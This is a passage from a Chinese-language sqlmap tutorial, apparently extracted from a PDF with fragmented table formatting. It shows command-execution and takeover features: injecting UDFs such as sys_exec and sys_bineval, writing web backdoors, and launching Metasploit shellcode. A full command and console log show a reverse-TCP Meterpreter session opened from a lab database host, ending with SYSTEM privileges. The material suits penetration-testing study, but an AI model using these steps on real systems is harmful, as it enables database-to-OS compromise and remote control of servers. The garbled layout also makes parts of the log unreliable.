back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating
system |
|
|
[hh:mm:12] [INFO] |
the back-end DBMS operating system is Linux |
|
[hh:mm:12] [INFO] |
testing if current user is DBA |
|
[hh:mm:12] [INFO] |
detecting back-end DBMS version from its |
|
banner |
|
|
[hh:mm:12] [INFO] |
checking if UDF 'sys_eval' already exist |
|
[hh:mm:12] [INFO] |
checking if UDF 'sys_exec' already exist |
|
[hh:mm:12] [INFO] |
creating UDF 'sys_eval' from the binary UDF file |
|
[hh:mm:12] [INFO] |
creating UDF 'sys_exec' from the binary UDF file |
|
|
|
|
do you want to |
retrieve the command standard output? [Y/n/a] y |
|
command standard |
output: 'uid=104(postgres) |
|
gid=106(postgres) |
groups=106(postgres)' |
|
[hh:mm:19] [INFO] |
cleaning up the database management system |
|
do you want to |
remove UDF 'sys_eval'? [Y/n] y |
|
do you want to |
remove UDF 'sys_exec'? [Y/n] y |
|
[hh:mm:23] [INFO] |
database management system cleanup finished |
|
|
|
|
[hh:mm:23] [WARNING] remember that UDF shared object files
saved on the file system can
only be deleted manually
用--os-shell 參數也能夠模擬一個真實的 shell,能夠輸入你想執行的命
令。
當不能執行多語句的時候(好比 php 或者 asp 的後端數據庫爲 MySQL 時),仍然可能使用 INTO OUTFILE 寫進可寫目錄,來建立一個 web 後門。支持的語言:
一、ASP
二、ASP.NET
三、JSP
四、PHP
Meterpreter 配合使用
參數:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-
path
當數據庫爲 MySQL,PostgreSQL 或 Microsoft SQL Server,而且當前用戶有權限使用特定的函數,能夠在數據庫與攻擊者直接創建 TCP 鏈接,這個鏈接能夠是一個交互式命令行的 Meterpreter 會 話,sqlmap 根據
Metasploit 生成 shellcode,並有四種方式執行它:
一、經過用戶自定義的 sys_bineval()函數在內存中執行 Metasplit 的shellcode,支持 MySQL 和 PostgreSQL 數據庫,參數:--os-pwn。
二、經過用戶自定義的函數上傳一個獨立的 payload 執行,MySQL 和 PostgreSQL 的 sys_exec()函數,Microsoft SQL Server 的 xp_cmdshell() 函數,參數:--os-pwn。
三、經過 SMB 攻擊(MS08-068)來執行 Metasploit 的 shellcode,當 sqlmap 獲取到的權限足夠高的時候(Linux/Unix 的 uid=0,Windows 是Administrator),--os-smbrelay。
四、經過溢出 Microsoft SQL Server 2000 和 2005 的 sp_replwritetovarbin 存儲過程(MS09-004),在內存中執行 Metasploit 的 payload,參數:--os-bof
列舉一個 MySQL 例子:
$ python sqlmap.py -u
"http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --
os-pwn --msf-path /software/metasploit
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft
IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] |
fingerprinting the back-end DBMS operating |
system |
|
[hh:mm:31] [INFO] |
the back-end DBMS operating system is Windows |
how do you want to |
establish the tunnel? |
|
|
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling >
[hh:mm:32] [INFO] |
testing if current user is DBA |
|
[hh:mm:32] [INFO] |
fetching current user |
|
what is the |
back-end database management system architecture? |
|
[1] 32-bit |
(default) |
|
[2] 64-bit |
|
|
> |
|
|
[hh:mm:33] [INFO] |
checking if UDF 'sys_bineval' already exist |
|
[hh:mm:33] [INFO] |
checking if UDF 'sys_exec' already exist |
|
[hh:mm:33] [INFO] |
detecting back-end DBMS version from its |
|
banner |
|
|
[hh:mm:33] [INFO] |
retrieving MySQL base directory absolute path |
|
[hh:mm:34] [INFO] |
creating UDF 'sys_bineval' from the binary UDF |
|
file |
|
|
[hh:mm:34] [INFO] |
creating UDF 'sys_exec' from the binary UDF file |
|
how do you want to |
execute the Metasploit shellcode on the back- |
|
|
|
|
end database underlying
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way) >
[hh:mm:35] [INFO] |
creating Metasploit Framework multi-stage |
shellcode |
|
which connection |
type do you want to use? |
|
|
[1] Reverse TCP: Connect back from the database host to this
machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
> |
|
which is the local |
address? [192.168.136.1] |
which local port |
number do you want to use? [60641] |
which payload do |
you want to use? |
|
|
[1] Meterpreter (default)
[2] Shell
[3] VNC
> |
|
[hh:mm:40] [INFO] |
creation in progress ... done |
[hh:mm:43] [INFO] |
running Metasploit Framework command line |
interface locally, please wait.. |
|
|
_ |
|
| |o |
_ _ _ _ _|_ __, , |
_ | | __ _|_ |
|
|
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] |
running Metasploit Framework shellcode |
remotely via UDF 'sys_bineval', |
|
please wait.. |
|
[*] Sending stage |
(749056 bytes) to 192.168.136.129 |
|
|
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11
hh:mm:52 +0100 2011
meterpreter > Loading extension espia...success. meterpreter > Loading extension incognito...success.
meterpreter |
> [-] The 'priv' extension has already been loaded. |
|
meterpreter |
> Loading extension sniffer...success. |
|
meterpreter |
> System Language : en_US |
|
OS |
: |
Windows .NET Server (Build 3790, Service Pack 2). |
Computer |
: W2K3R2 |
|
Architecture |
: x86 |
|
Meterpreter |
: x86/win32 |
|
meterpreter |
> Server username: NT AUTHORITY\SYSTEM |
|
meterpreter |
> ipconfig |
|
MS TCP Loopback interface |
||
Hardware MAC: 00:00:00:00:00:00 |
||
IP |
Address |
: 127.0.0.1 |
Netmask |
: 255.0.0.0 |
|
|
|
|
Intel(R) PRO/1000 MT Network Connection Hardware MAC: 00:0c:29:fc:79:39 IP Address : 192.168.136.129
Netmask : 255.255.255.0
meterpreter > exit
[*] Meterpreter session 1 closed. Reason: User exit
默認狀況下 MySQL 在 Windows 上以 SYSTEM 權限運行,PostgreSQL
在 Windows 與 Linux 中是低權限運行,Microsoft SQL Server 2000 默認是以 SYSTEM 權限運行,Microsoft SQL Server 2005 與 2008 大部分是以
NETWORK SERVICE 有時是 LOCAL SERVICE。